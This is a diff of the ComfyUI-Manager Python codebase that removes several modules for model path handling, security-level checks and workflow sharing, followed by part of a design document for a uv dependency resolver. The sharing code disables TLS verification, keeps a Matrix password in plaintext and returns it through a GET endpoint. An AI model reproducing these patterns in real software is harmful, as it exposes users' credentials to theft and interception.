"checkpoint": "checkpoints",
"unclip": "checkpoints",
"text_encoders": "text_encoders",
"clip": "text_encoders",
"vae": "vae",
"lora": "loras",
"t2i-adapter": "controlnet",
"t2i-style": "controlnet",
"controlnet": "controlnet",
"clip_vision": "clip_vision",
"gligen": "gligen",
"upscale": "upscale_models",
"embedding": "embeddings",
"embeddings": "embeddings",
"unet": "diffusion_models",
"diffusion_model": "diffusion_models",
}
# List of all model directory names used for checking installed models
MODEL_DIR_NAMES = [
"checkpoints",
"loras",
"vae",
"text_encoders",
"diffusion_models",
"clip_vision",
"embeddings",
"diffusers",
"vae_approx",
"controlnet",
"gligen",
"upscale_models",
"hypernetworks",
"photomaker",
"classifiers",
]
File diff suppressed because it is too large Load Diff
File diff suppressed because it is too large Load Diff
@@ -1,126 +0,0 @@
import os
import git
import logging
import traceback
from comfyui_manager.common import context
import folder_paths
from comfyui_manager.glob import manager_core as core
from comfyui_manager.common import cm_global
comfy_ui_hash = "-"
comfyui_tag = None
def print_comfyui_version():
global comfy_ui_hash
global comfyui_tag
is_detached = False
try:
repo = git.Repo(os.path.dirname(folder_paths.__file__))
core.comfy_ui_revision = len(list(repo.iter_commits("HEAD")))
comfy_ui_hash = repo.head.commit.hexsha
cm_global.variables["comfyui.revision"] = core.comfy_ui_revision
core.comfy_ui_commit_datetime = repo.head.commit.committed_datetime
cm_global.variables["comfyui.commit_datetime"] = core.comfy_ui_commit_datetime
is_detached = repo.head.is_detached
current_branch = repo.active_branch.name
comfyui_tag = context.get_comfyui_tag()
try:
if (
not os.environ.get("__COMFYUI_DESKTOP_VERSION__")
and core.comfy_ui_commit_datetime.date()
< core.comfy_ui_required_commit_datetime.date()
):
logging.warning(
f"\n\n## [WARN] ComfyUI-Manager: Your ComfyUI version ({core.comfy_ui_revision})[{core.comfy_ui_commit_datetime.date()}] is too old. Please update to the latest version. ##\n\n"
)
except Exception:
pass
# process on_revision_detected -->
if "cm.on_revision_detected_handler" in cm_global.variables:
for k, f in cm_global.variables["cm.on_revision_detected_handler"]:
try:
f(core.comfy_ui_revision)
except Exception:
logging.error(f"[ERROR] '{k}' on_revision_detected_handler")
traceback.print_exc()
del cm_global.variables["cm.on_revision_detected_handler"]
else:
logging.warning(
"[ComfyUI-Manager] Some features are restricted due to your ComfyUI being outdated."
)
# <--
if current_branch == "master":
if comfyui_tag:
logging.info(
f"### ComfyUI Version: {comfyui_tag} | Released on '{core.comfy_ui_commit_datetime.date()}'"
)
else:
logging.info(
f"### ComfyUI Revision: {core.comfy_ui_revision} [{comfy_ui_hash[:8]}] | Released on '{core.comfy_ui_commit_datetime.date()}'"
)
else:
if comfyui_tag:
logging.info(
f"### ComfyUI Version: {comfyui_tag} on '{current_branch}' | Released on '{core.comfy_ui_commit_datetime.date()}'"
)
else:
logging.info(
f"### ComfyUI Revision: {core.comfy_ui_revision} on '{current_branch}' [{comfy_ui_hash[:8]}] | Released on '{core.comfy_ui_commit_datetime.date()}'"
)
except Exception:
if is_detached:
logging.info(
f"### ComfyUI Revision: {core.comfy_ui_revision} [{comfy_ui_hash[:8]}] *DETACHED | Released on '{core.comfy_ui_commit_datetime.date()}'"
)
else:
logging.info(
"### ComfyUI Revision: UNKNOWN (The currently installed ComfyUI is not a Git repository)"
)
def set_update_policy(mode):
core.get_config()["update_policy"] = mode
def set_db_mode(mode):
core.get_config()["db_mode"] = mode
def setup_environment():
git_exe = core.get_config()["git_exe"]
if git_exe != "":
git.Git().update_environment(GIT_PYTHON_GIT_EXECUTABLE=git_exe)
def initialize_environment():
context.comfy_path = os.path.dirname(folder_paths.__file__)
core.js_path = os.path.join(context.comfy_path, "web", "extensions")
# Legacy database paths - kept for potential future use
# local_db_model = os.path.join(manager_util.comfyui_manager_path, "model-list.json")
# local_db_alter = os.path.join(manager_util.comfyui_manager_path, "alter-list.json")
# local_db_custom_node_list = os.path.join(
# manager_util.comfyui_manager_path, "custom-node-list.json"
# )
# local_db_extension_node_mappings = os.path.join(
# manager_util.comfyui_manager_path, "extension-node-map.json"
# )
print_comfyui_version()
setup_environment()
core.check_invalid_nodes()
@@ -1,60 +0,0 @@
import locale
import sys
import re
def handle_stream(stream, prefix):
stream.reconfigure(encoding=locale.getpreferredencoding(), errors="replace")
for msg in stream:
if (
prefix == "[!]"
and ("it/s]" in msg or "s/it]" in msg)
and ("%|" in msg or "it [" in msg)
):
if msg.startswith("100%"):
print("\r" + msg, end="", file=sys.stderr),
else:
print("\r" + msg[:-1], end="", file=sys.stderr),
else:
if prefix == "[!]":
print(prefix, msg, end="", file=sys.stderr)
else:
print(prefix, msg, end="")
def convert_markdown_to_html(input_text):
pattern_a = re.compile(r"\[a/([^]]+)]\(([^)]+)\)")
pattern_w = re.compile(r"\[w/([^]]+)]")
pattern_i = re.compile(r"\[i/([^]]+)]")
pattern_bold = re.compile(r"\*\*([^*]+)\*\*")
pattern_white = re.compile(r"%%([^*]+)%%")
def replace_a(match):
return f"<a href='{match.group(2)}' target='blank'>{match.group(1)}</a>"
def replace_w(match):
return f"<p class='cm-warn-note'>{match.group(1)}</p>"
def replace_i(match):
return f"<p class='cm-info-note'>{match.group(1)}</p>"
def replace_bold(match):
return f"<B>{match.group(1)}</B>"
def replace_white(match):
return f"<font color='white'>{match.group(1)}</font>"
input_text = (
input_text.replace("\\[", "&#91;")
.replace("\\]", "&#93;")
.replace("<", "&lt;")
.replace(">", "&gt;")
)
result_text = re.sub(pattern_a, replace_a, input_text)
result_text = re.sub(pattern_w, replace_w, result_text)
result_text = re.sub(pattern_i, replace_i, result_text)
result_text = re.sub(pattern_bold, replace_bold, result_text)
result_text = re.sub(pattern_white, replace_white, result_text)
return result_text.replace("\n", "<BR>")
-161
View File
@@ -1,161 +0,0 @@
import os
import logging
import concurrent.futures
import folder_paths
from comfyui_manager.glob import manager_core as core
from comfyui_manager.glob.constants import model_dir_name_map, MODEL_DIR_NAMES
def get_model_dir(data, show_log=False):
if "download_model_base" in folder_paths.folder_names_and_paths:
models_base = folder_paths.folder_names_and_paths["download_model_base"][0][0]
else:
models_base = folder_paths.models_dir
# NOTE: Validate to prevent path traversal.
if any(char in data["filename"] for char in {"/", "\\", ":"}):
return None
def resolve_custom_node(save_path):
save_path = save_path[13:] # remove 'custom_nodes/'
# NOTE: Validate to prevent path traversal.
if save_path.startswith(os.path.sep) or ":" in save_path:
return None
repo_name = save_path.replace("\\", "/").split("/")[
0
] # get custom node repo name
# NOTE: The creation of files within the custom node path should be removed in the future.
repo_path = core.lookup_installed_custom_nodes_legacy(repo_name)
if repo_path is not None and repo_path[0]:
# Returns the retargeted path based on the actually installed repository
return os.path.join(os.path.dirname(repo_path[1]), save_path)
else:
return None
if data["save_path"] != "default":
if ".." in data["save_path"] or data["save_path"].startswith("/"):
if show_log:
logging.info(
f"[WARN] '{data['save_path']}' is not allowed path. So it will be saved into 'models/etc'."
)
base_model = os.path.join(models_base, "etc")
else:
if data["save_path"].startswith("custom_nodes"):
base_model = resolve_custom_node(data["save_path"])
if base_model is None:
if show_log:
logging.info(
f"[ComfyUI-Manager] The target custom node for model download is not installed: {data['save_path']}"
)
return None
else:
base_model = os.path.join(models_base, data["save_path"])
else:
model_dir_name = model_dir_name_map.get(data["type"].lower())
if model_dir_name is not None:
base_model = folder_paths.folder_names_and_paths[model_dir_name][0][0]
else:
base_model = os.path.join(models_base, "etc")
return base_model
def get_model_path(data, show_log=False):
base_model = get_model_dir(data, show_log)
if base_model is None:
return None
else:
if data["filename"] == "<huggingface>":
return os.path.join(base_model, os.path.basename(data["url"]))
else:
return os.path.join(base_model, data["filename"])
def check_model_installed(json_obj):
def is_exists(model_dir_name, filename, url):
if filename == "<huggingface>":
filename = os.path.basename(url)
dirs = folder_paths.get_folder_paths(model_dir_name)
for x in dirs:
if os.path.exists(os.path.join(x, filename)):
return True
return False
total_models_files = set()
for x in MODEL_DIR_NAMES:
for y in folder_paths.get_filename_list(x):
total_models_files.add(y)
def process_model_phase(item):
if (
"diffusion" not in item["filename"]
and "pytorch" not in item["filename"]
and "model" not in item["filename"]
):
# non-general name case
if item["filename"] in total_models_files:
item["installed"] = "True"
return
if item["save_path"] == "default":
model_dir_name = model_dir_name_map.get(item["type"].lower())
if model_dir_name is not None:
item["installed"] = str(
is_exists(model_dir_name, item["filename"], item["url"])
)
else:
item["installed"] = "False"
else:
model_dir_name = item["save_path"].split("/")[0]
if model_dir_name in folder_paths.folder_names_and_paths:
if is_exists(model_dir_name, item["filename"], item["url"]):
item["installed"] = "True"
if "installed" not in item:
if item["filename"] == "<huggingface>":
filename = os.path.basename(item["url"])
else:
filename = item["filename"]
fullpath = os.path.join(
folder_paths.models_dir, item["save_path"], filename
)
item["installed"] = "True" if os.path.exists(fullpath) else "False"
with concurrent.futures.ThreadPoolExecutor(8) as executor:
for item in json_obj["models"]:
executor.submit(process_model_phase, item)
async def check_whitelist_for_model(item):
from comfyui_manager.data_models import ManagerDatabaseSource
json_obj = await core.get_data_by_mode(ManagerDatabaseSource.cache.value, "model-list.json")
for x in json_obj.get("models", []):
if (
x["save_path"] == item["save_path"]
and x["base"] == item["base"]
and x["filename"] == item["filename"]
):
return True
json_obj = await core.get_data_by_mode(ManagerDatabaseSource.local.value, "model-list.json")
for x in json_obj.get("models", []):
if (
x["save_path"] == item["save_path"]
and x["base"] == item["base"]
and x["filename"] == item["filename"]
):
return True
return False
@@ -1,65 +0,0 @@
import concurrent.futures
from comfyui_manager.glob import manager_core as core
def check_state_of_git_node_pack(
node_packs, do_fetch=False, do_update_check=True, do_update=False
):
if do_fetch:
print("Start fetching...", end="")
elif do_update:
print("Start updating...", end="")
elif do_update_check:
print("Start update check...", end="")
def process_custom_node(item):
core.check_state_of_git_node_pack_single(
item, do_fetch, do_update_check, do_update
)
with concurrent.futures.ThreadPoolExecutor(4) as executor:
for k, v in node_packs.items():
if v.get("active_version") in ["unknown", "nightly"]:
executor.submit(process_custom_node, v)
if do_fetch:
print("\x1b[2K\rFetching done.")
elif do_update:
update_exists = any(
item.get("updatable", False) for item in node_packs.values()
)
if update_exists:
print("\x1b[2K\rUpdate done.")
else:
print("\x1b[2K\rAll extensions are already up-to-date.")
elif do_update_check:
print("\x1b[2K\rUpdate check done.")
def nickname_filter(json_obj):
preemptions_map = {}
for k, x in json_obj.items():
if "preemptions" in x[1]:
for y in x[1]["preemptions"]:
preemptions_map[y] = k
elif k.endswith("/ComfyUI"):
for y in x[0]:
preemptions_map[y] = k
updates = {}
for k, x in json_obj.items():
removes = set()
for y in x[0]:
k2 = preemptions_map.get(y)
if k2 is not None and k != k2:
removes.add(y)
if len(removes) > 0:
updates[k] = [y for y in x[0] if y not in removes]
for k, v in updates.items():
json_obj[k][0] = v
return json_obj
@@ -1,67 +0,0 @@
from comfyui_manager.glob import manager_core as core
from comfy.cli_args import args
from comfyui_manager.data_models import SecurityLevel, RiskLevel, ManagerDatabaseSource
from comfyui_manager.common.manager_security import (
is_loopback,
is_safe_path_target,
get_safe_file_path,
)
# Re-export for backward compatibility
__all__ = ['is_loopback', 'is_safe_path_target', 'get_safe_file_path', 'is_allowed_security_level', 'get_risky_level']
def is_allowed_security_level(level):
is_local_mode = is_loopback(args.listen)
is_personal_cloud = core.get_config()['network_mode'].lower() == 'personal_cloud'
if level == RiskLevel.block.value:
return False
elif level == RiskLevel.high_.value:
if is_local_mode:
return core.get_config()['security_level'] in [SecurityLevel.weak.value, SecurityLevel.normal_.value]
elif is_personal_cloud:
return core.get_config()['security_level'] == SecurityLevel.weak.value
else:
return False
elif level == RiskLevel.high.value:
if is_local_mode:
return core.get_config()['security_level'] in [SecurityLevel.weak.value, SecurityLevel.normal_.value]
else:
return core.get_config()['security_level'] == SecurityLevel.weak.value
elif level == RiskLevel.middle_.value:
if is_local_mode or is_personal_cloud:
return core.get_config()['security_level'] in [SecurityLevel.weak.value, SecurityLevel.normal.value, SecurityLevel.normal_.value]
else:
return False
elif level == RiskLevel.middle.value:
return core.get_config()['security_level'] in [SecurityLevel.weak.value, SecurityLevel.normal.value, SecurityLevel.normal_.value]
else:
return True
async def get_risky_level(files, pip_packages):
json_data1 = await core.get_data_by_mode(ManagerDatabaseSource.local.value, "custom-node-list.json")
json_data2 = await core.get_data_by_mode(
ManagerDatabaseSource.cache.value,
"custom-node-list.json",
channel_url="https://raw.githubusercontent.com/ltdrdata/ComfyUI-Manager/main",
)
all_urls = set()
for x in json_data1["custom_nodes"] + json_data2["custom_nodes"]:
all_urls.update(x.get("files", []))
for x in files:
if x not in all_urls:
return RiskLevel.high_.value
all_pip_packages = set()
for x in json_data1["custom_nodes"] + json_data2["custom_nodes"]:
all_pip_packages.update(x.get("pip", []))
for p in pip_packages:
if p not in all_pip_packages:
return RiskLevel.block.value
return RiskLevel.middle_.value
View File
-451
View File
@@ -1,451 +0,0 @@
import mimetypes
from ..common import context
from . import manager_core as core
import os
from aiohttp import web
import aiohttp
import json
import hashlib
import folder_paths
from server import PromptServer
import logging
import sys
try:
from nio import AsyncClient, LoginResponse, UploadResponse
matrix_nio_is_available = True
except Exception:
logging.warning(f"[ComfyUI-Manager] The matrix sharing feature has been disabled because the `matrix-nio` dependency is not installed.\n\tTo use this feature, please run the following command:\n\t{sys.executable} -m pip install matrix-nio\n")
matrix_nio_is_available = False
def extract_model_file_names(json_data):
"""Extract unique file names from the input JSON data."""
file_names = set()
model_filename_extensions = {'.safetensors', '.ckpt', '.pt', '.pth', '.bin'}
# Recursively search for file names in the JSON data
def recursive_search(data):
if isinstance(data, dict):
for value in data.values():
recursive_search(value)
elif isinstance(data, list):
for item in data:
recursive_search(item)
elif isinstance(data, str) and '.' in data:
file_names.add(os.path.basename(data)) # file_names.add(data)
recursive_search(json_data)
return [f for f in list(file_names) if os.path.splitext(f)[1] in model_filename_extensions]
def find_file_paths(base_dir, file_names):
"""Find the paths of the files in the base directory."""
file_paths = {}
for root, dirs, files in os.walk(base_dir):
# Exclude certain directories
dirs[:] = [d for d in dirs if d not in ['.git']]
for file in files:
if file in file_names:
file_paths[file] = os.path.join(root, file)
return file_paths
def compute_sha256_checksum(filepath):
"""Compute the SHA256 checksum of a file, in chunks"""
sha256 = hashlib.sha256()
with open(filepath, 'rb') as f:
for chunk in iter(lambda: f.read(4096), b''):
sha256.update(chunk)
return sha256.hexdigest()
@PromptServer.instance.routes.get("/v2/manager/share_option")
async def share_option(request):
if "value" in request.rel_url.query:
core.get_config()['share_option'] = request.rel_url.query['value']
core.write_config()
else:
return web.Response(text=core.get_config()['share_option'], status=200)
return web.Response(status=200)
def get_openart_auth():
if not os.path.exists(os.path.join(context.manager_files_path, ".openart_key")):
return None
try:
with open(os.path.join(context.manager_files_path, ".openart_key"), "r") as f:
openart_key = f.read().strip()
return openart_key if openart_key else None
except Exception:
return None
def get_matrix_auth():
if not os.path.exists(os.path.join(context.manager_files_path, "matrix_auth")):
return None
try:
with open(os.path.join(context.manager_files_path, "matrix_auth"), "r") as f:
matrix_auth = f.read()
homeserver, username, password = matrix_auth.strip().split("\n")
if not homeserver or not username or not password:
return None
return {
"homeserver": homeserver,
"username": username,
"password": password,
}
except Exception:
return None
def get_comfyworkflows_auth():
if not os.path.exists(os.path.join(context.manager_files_path, "comfyworkflows_sharekey")):
return None
try:
with open(os.path.join(context.manager_files_path, "comfyworkflows_sharekey"), "r") as f:
share_key = f.read()
if not share_key.strip():
return None
return share_key
except Exception:
return None
def get_youml_settings():
if not os.path.exists(os.path.join(context.manager_files_path, ".youml")):
return None
try:
with open(os.path.join(context.manager_files_path, ".youml"), "r") as f:
youml_settings = f.read().strip()
return youml_settings if youml_settings else None
except Exception:
return None
def set_youml_settings(settings):
with open(os.path.join(context.manager_files_path, ".youml"), "w") as f:
f.write(settings)
@PromptServer.instance.routes.get("/v2/manager/get_openart_auth")
async def api_get_openart_auth(request):
# print("Getting stored Matrix credentials...")
openart_key = get_openart_auth()
if not openart_key:
return web.Response(status=404)
return web.json_response({"openart_key": openart_key})
@PromptServer.instance.routes.post("/v2/manager/set_openart_auth")
async def api_set_openart_auth(request):
json_data = await request.json()
openart_key = json_data['openart_key']
with open(os.path.join(context.manager_files_path, ".openart_key"), "w") as f:
f.write(openart_key)
return web.Response(status=200)
@PromptServer.instance.routes.get("/v2/manager/get_matrix_auth")
async def api_get_matrix_auth(request):
# print("Getting stored Matrix credentials...")
matrix_auth = get_matrix_auth()
if not matrix_auth:
return web.Response(status=404)
return web.json_response(matrix_auth)
@PromptServer.instance.routes.get("/v2/manager/youml/settings")
async def api_get_youml_settings(request):
youml_settings = get_youml_settings()
if not youml_settings:
return web.Response(status=404)
return web.json_response(json.loads(youml_settings))
@PromptServer.instance.routes.post("/v2/manager/youml/settings")
async def api_set_youml_settings(request):
json_data = await request.json()
set_youml_settings(json.dumps(json_data))
return web.Response(status=200)
@PromptServer.instance.routes.get("/v2/manager/get_comfyworkflows_auth")
async def api_get_comfyworkflows_auth(request):
# Check if the user has provided Matrix credentials in a file called 'matrix_accesstoken'
# in the same directory as the ComfyUI base folder
# print("Getting stored Comfyworkflows.com auth...")
comfyworkflows_auth = get_comfyworkflows_auth()
if not comfyworkflows_auth:
return web.Response(status=404)
return web.json_response({"comfyworkflows_sharekey": comfyworkflows_auth})
@PromptServer.instance.routes.post("/v2/manager/set_esheep_workflow_and_images")
async def set_esheep_workflow_and_images(request):
json_data = await request.json()
with open(os.path.join(context.manager_files_path, "esheep_share_message.json"), "w", encoding='utf-8') as file:
json.dump(json_data, file, indent=4)
return web.Response(status=200)
@PromptServer.instance.routes.get("/v2/manager/get_esheep_workflow_and_images")
async def get_esheep_workflow_and_images(request):
with open(os.path.join(context.manager_files_path, "esheep_share_message.json"), 'r', encoding='utf-8') as file:
data = json.load(file)
return web.Response(status=200, text=json.dumps(data))
@PromptServer.instance.routes.get("/v2/manager/get_matrix_dep_status")
async def get_matrix_dep_status(request):
if matrix_nio_is_available:
return web.Response(status=200, text='available')
else:
return web.Response(status=200, text='unavailable')
def set_matrix_auth(json_data):
homeserver = json_data['homeserver']
username = json_data['username']
password = json_data['password']
with open(os.path.join(context.manager_files_path, "matrix_auth"), "w") as f:
f.write("\n".join([homeserver, username, password]))
def set_comfyworkflows_auth(comfyworkflows_sharekey):
with open(os.path.join(context.manager_files_path, "comfyworkflows_sharekey"), "w") as f:
f.write(comfyworkflows_sharekey)
def has_provided_matrix_auth(matrix_auth):
return matrix_auth['homeserver'].strip() and matrix_auth['username'].strip() and matrix_auth['password'].strip()
def has_provided_comfyworkflows_auth(comfyworkflows_sharekey):
return comfyworkflows_sharekey.strip()
@PromptServer.instance.routes.post("/v2/manager/share")
async def share_art(request):
# get json data
json_data = await request.json()
matrix_auth = json_data['matrix_auth']
comfyworkflows_sharekey = json_data['cw_auth']['cw_sharekey']
set_matrix_auth(matrix_auth)
set_comfyworkflows_auth(comfyworkflows_sharekey)
share_destinations = json_data['share_destinations']
credits = json_data['credits']
title = json_data['title']
description = json_data['description']
is_nsfw = json_data['is_nsfw']
prompt = json_data['prompt']
potential_outputs = json_data['potential_outputs']
selected_output_index = json_data['selected_output_index']
try:
output_to_share = potential_outputs[int(selected_output_index)]
except Exception:
# for now, pick the first output
output_to_share = potential_outputs[0]
assert output_to_share['type'] in ('image', 'output')
output_dir = folder_paths.get_output_directory()
if output_to_share['type'] == 'image':
asset_filename = output_to_share['image']['filename']
asset_subfolder = output_to_share['image']['subfolder']
if output_to_share['image']['type'] == 'temp':
output_dir = folder_paths.get_temp_directory()
else:
asset_filename = output_to_share['output']['filename']
asset_subfolder = output_to_share['output']['subfolder']
if asset_subfolder:
asset_filepath = os.path.join(output_dir, asset_subfolder, asset_filename)
else:
asset_filepath = os.path.join(output_dir, asset_filename)
# get the mime type of the asset
assetFileType = mimetypes.guess_type(asset_filepath)[0]
share_website_host = "UNKNOWN"
if "comfyworkflows" in share_destinations:
share_website_host = "https://comfyworkflows.com"
share_endpoint = f"{share_website_host}/api"
# get presigned urls
async with aiohttp.ClientSession(trust_env=True, connector=aiohttp.TCPConnector(verify_ssl=False)) as session:
async with session.post(
f"{share_endpoint}/get_presigned_urls",
json={
"assetFileName": asset_filename,
"assetFileType": assetFileType,
"workflowJsonFileName": 'workflow.json',
"workflowJsonFileType": 'application/json',
},
) as resp:
assert resp.status == 200
presigned_urls_json = await resp.json()
assetFilePresignedUrl = presigned_urls_json["assetFilePresignedUrl"]
assetFileKey = presigned_urls_json["assetFileKey"]
workflowJsonFilePresignedUrl = presigned_urls_json["workflowJsonFilePresignedUrl"]
workflowJsonFileKey = presigned_urls_json["workflowJsonFileKey"]
# upload asset
async with aiohttp.ClientSession(trust_env=True, connector=aiohttp.TCPConnector(verify_ssl=False)) as session:
async with session.put(assetFilePresignedUrl, data=open(asset_filepath, "rb")) as resp:
assert resp.status == 200
# upload workflow json
async with aiohttp.ClientSession(trust_env=True, connector=aiohttp.TCPConnector(verify_ssl=False)) as session:
async with session.put(workflowJsonFilePresignedUrl, data=json.dumps(prompt['workflow']).encode('utf-8')) as resp:
assert resp.status == 200
model_filenames = extract_model_file_names(prompt['workflow'])
model_file_paths = find_file_paths(folder_paths.base_path, model_filenames)
models_info = {}
for filename, filepath in model_file_paths.items():
models_info[filename] = {
"filename": filename,
"sha256_checksum": compute_sha256_checksum(filepath),
"relative_path": os.path.relpath(filepath, folder_paths.base_path),
}
# make a POST request to /api/upload_workflow with form data key values
async with aiohttp.ClientSession(trust_env=True, connector=aiohttp.TCPConnector(verify_ssl=False)) as session:
form = aiohttp.FormData()
if comfyworkflows_sharekey:
form.add_field("shareKey", comfyworkflows_sharekey)
form.add_field("source", "comfyui_manager")
form.add_field("assetFileKey", assetFileKey)
form.add_field("assetFileType", assetFileType)
form.add_field("workflowJsonFileKey", workflowJsonFileKey)
form.add_field("sharedWorkflowWorkflowJsonString", json.dumps(prompt['workflow']))
form.add_field("sharedWorkflowPromptJsonString", json.dumps(prompt['output']))
form.add_field("shareWorkflowCredits", credits)
form.add_field("shareWorkflowTitle", title)
form.add_field("shareWorkflowDescription", description)
form.add_field("shareWorkflowIsNSFW", str(is_nsfw).lower())
form.add_field("currentSnapshot", json.dumps(await core.get_current_snapshot()))
form.add_field("modelsInfo", json.dumps(models_info))
async with session.post(
f"{share_endpoint}/upload_workflow",
data=form,
) as resp:
assert resp.status == 200
upload_workflow_json = await resp.json()
workflowId = upload_workflow_json["workflowId"]
# check if the user has provided Matrix credentials
if matrix_nio_is_available and "matrix" in share_destinations:
comfyui_share_room_id = '!LGYSoacpJPhIfBqVfb:matrix.org'
filename = os.path.basename(asset_filepath)
content_type = assetFileType
try:
homeserver = 'matrix.org'
if matrix_auth:
homeserver = matrix_auth.get('homeserver', 'matrix.org')
homeserver = homeserver.replace("http://", "https://")
if not homeserver.startswith("https://"):
homeserver = "https://" + homeserver
client = AsyncClient(homeserver, matrix_auth['username'])
# Login
login_resp = await client.login(matrix_auth['password'])
if not isinstance(login_resp, LoginResponse) or not login_resp.access_token:
await client.close()
return web.json_response({"error": "Invalid Matrix credentials."}, content_type='application/json', status=400)
# Upload asset
with open(asset_filepath, 'rb') as f:
upload_resp, _maybe_keys = await client.upload(f, content_type=content_type, filename=filename)
asset_data = f.seek(0) or f.read() # get size for info below
if not isinstance(upload_resp, UploadResponse) or not upload_resp.content_uri:
await client.close()
return web.json_response({"error": "Failed to upload asset to Matrix."}, content_type='application/json', status=500)
mxc_url = upload_resp.content_uri
# Upload workflow JSON
import io
workflow_json_bytes = json.dumps(prompt['workflow']).encode('utf-8')
workflow_io = io.BytesIO(workflow_json_bytes)
upload_workflow_resp, _maybe_keys = await client.upload(workflow_io, content_type='application/json', filename='workflow.json')
workflow_io.seek(0)
if not isinstance(upload_workflow_resp, UploadResponse) or not upload_workflow_resp.content_uri:
await client.close()
return web.json_response({"error": "Failed to upload workflow to Matrix."}, content_type='application/json', status=500)
workflow_json_mxc_url = upload_workflow_resp.content_uri
# Send text message
text_content = ""
if title:
text_content += f"{title}\n"
if description:
text_content += f"{description}\n"
if credits:
text_content += f"\ncredits: {credits}\n"
await client.room_send(
room_id=comfyui_share_room_id,
message_type="m.room.message",
content={"msgtype": "m.text", "body": text_content}
)
# Send image
await client.room_send(
room_id=comfyui_share_room_id,
message_type="m.room.message",
content={
"msgtype": "m.image",
"body": filename,
"url": mxc_url,
"info": {
"mimetype": content_type,
"size": len(asset_data)
}
}
)
# Send workflow JSON file
await client.room_send(
room_id=comfyui_share_room_id,
message_type="m.room.message",
content={
"msgtype": "m.file",
"body": "workflow.json",
"url": workflow_json_mxc_url,
"info": {
"mimetype": "application/json",
"size": len(workflow_json_bytes)
}
}
)
await client.close()
except:
import traceback
traceback.print_exc()
return web.json_response({"error": "An error occurred when sharing your art to Matrix."}, content_type='application/json', status=500)
return web.json_response({
"comfyworkflows": {
"url": None if "comfyworkflows" not in share_destinations else f"{share_website_host}/workflows/{workflowId}",
},
"matrix": {
"success": None if "matrix" not in share_destinations else True
}
}, content_type='application/json', status=200)
File diff suppressed because it is too large Load Diff
@@ -1,812 +0,0 @@
# Architecture Design: Unified Dependency Resolver
## 1. System Architecture
### 1.1 Module Location
```
comfyui_manager/
├── glob/
│ └── manager_core.py # Existing: execute_install_script() call sites (2 locations)
├── common/
│ ├── manager_util.py # Existing: get_pip_cmd(), PIPFixer, use_uv flag
│ ├── cm_global.py # Existing: pip_overrides, pip_blacklist (runtime dynamic assignment)
│ └── unified_dep_resolver.py # New: Unified dependency resolution module
├── prestartup_script.py # Existing: config reading, remap_pip_package, cm_global initialization
└── legacy/
└── manager_core.py # Legacy (not a modification target)
cm_cli/
└── __main__.py # CLI entry: uv-compile command (on-demand batch resolution)
```
The new module `unified_dep_resolver.py` is added to the `comfyui_manager/common/` directory.
It reuses `manager_util` utilities and `cm_global` global state from the same package.
> **Warning**: `cm_global.pip_overrides`, `pip_blacklist`, `pip_downgrade_blacklist` are
> NOT defined in `cm_global.py`. They are **dynamically assigned** during `prestartup_script.py` execution.
> In v1 unified mode, these are **not applied** — empty values are passed to the resolver constructor.
> The constructor interface accepts them for future extensibility (defaults to empty when `None`).
>
> **[DEFERRED]** Reading actual `cm_global` values at startup is deferred to a future version.
> The startup batch resolver in `prestartup_script.py` currently passes `blacklist=set()`,
> `overrides={}`, `downgrade_blacklist=[]`. The constructor and internal methods
> (`_remap_package`, `_is_downgrade_blacklisted`, blacklist check) are fully implemented
> and will work once real values are provided.
### 1.2 Overall Flow
```mermaid
flowchart TD
subgraph INSTALL_TIME["Install Time (immediate)"]
MC["manager_core.py<br/>execute_install_script() — 2 locations"]
MC -->|"use_unified_resolver=True"| SKIP["Skip per-node pip install<br/>(deps deferred to restart)"]
MC -->|"use_unified_resolver=False"| PIP["Existing pip install loop"]
SKIP --> INST["Run install.py"]
PIP --> INST
end
subgraph STARTUP["ComfyUI Restart (prestartup_script.py)"]
CHK{use_unified_resolver?}
CHK -->|Yes| UDR
CHK -->|No| LAZY["execute_lazy_install_script()<br/>per-node pip install (existing)"]
subgraph UDR["UnifiedDepResolver (batch)"]
S1["1. collect_requirements()<br/>(ALL installed node packs)"]
S2["2. compile_lockfile()"]
S3["3. install_from_lockfile()"]
S1 --> S2 --> S3
end
UDR -->|Success| FIX["PIPFixer.fix_broken()"]
UDR -->|Failure| LAZY
LAZY --> FIX2["PIPFixer.fix_broken()"]
end
```
> **Key design change**: The unified resolver runs at **startup time** (module scope), not at install time.
> At install time, `execute_install_script()` skips the pip loop when unified mode is active.
> At startup, `prestartup_script.py` runs the resolver at module scope — unconditionally when enabled,
> independent of `install-scripts.txt` existence. Blacklist/overrides/downgrade_blacklist are bypassed
> (empty values passed); `uv pip compile` handles all conflict resolution natively.
>
> **Note**: `execute_install_script()` exists in 2 locations in the codebase (excluding legacy module).
> - `UnifiedManager.execute_install_script()` (class method): Used for CNR installs, etc.
> - Standalone function `execute_install_script()`: Used for updates, git installs, etc.
> Both skip per-node pip install when unified mode is active.
### 1.3 uv Command Strategy
**`uv pip compile`** → Generates pinned requirements.txt (pip-compatible)
- Do not confuse with `uv lock`
- `uv lock` generates `uv.lock` (TOML) — cross-platform but incompatible with pip workflows
- This design uses a pip-compatible workflow (`uv pip compile``uv pip install -r`)
**`uv pip install -r`** ← Used instead of `uv pip sync`
- `uv pip sync`: **Deletes** packages not in lockfile → Risk of removing torch, ComfyUI deps
- `uv pip install -r`: Only performs additive installs, preserves existing packages → Safe
---
## 2. Class Design
### 2.1 UnifiedDepResolver
```python
class UnifiedDepResolver:
"""
Unified dependency resolver.
Resolves and installs all dependencies of (installed node packs + new node packs)
at once using uv.
Responsibility scope: Dependency resolution and installation only.
install.py execution and PIPFixer calls are handled by the caller (manager_core).
"""
def __init__(
self,
node_pack_paths: list[str],
base_requirements: list[str] | None = None,
blacklist: set[str] | None = None,
overrides: dict[str, str] | None = None,
downgrade_blacklist: list[str] | None = None,
):
"""
Args:
node_pack_paths: List of node pack directory paths
base_requirements: Base dependencies (ComfyUI requirements, etc.)
blacklist: Blacklisted package set (default: empty set; not applied in v1 unified mode)
overrides: Package name remapping dict (default: empty dict; not applied in v1 unified mode)
downgrade_blacklist: Downgrade-prohibited package list (default: empty list; not applied in v1 unified mode)
"""
def resolve_and_install(self) -> ResolveResult:
"""Execute full pipeline: stale cleanup → collect → compile → install.
Calls cleanup_stale_tmp() at start to clean up residual files from previous abnormal terminations."""
def collect_requirements(self) -> CollectedDeps:
"""Collect dependencies from all node packs"""
def compile_lockfile(self, deps: CollectedDeps) -> LockfileResult:
"""Generate pinned requirements via uv pip compile"""
def install_from_lockfile(self, lockfile_path: str) -> InstallResult:
"""Install from pinned requirements (uv pip install -r)"""
```
### 2.2 Data Classes
```python
@dataclass
class PackageRequirement:
"""Individual package dependency"""
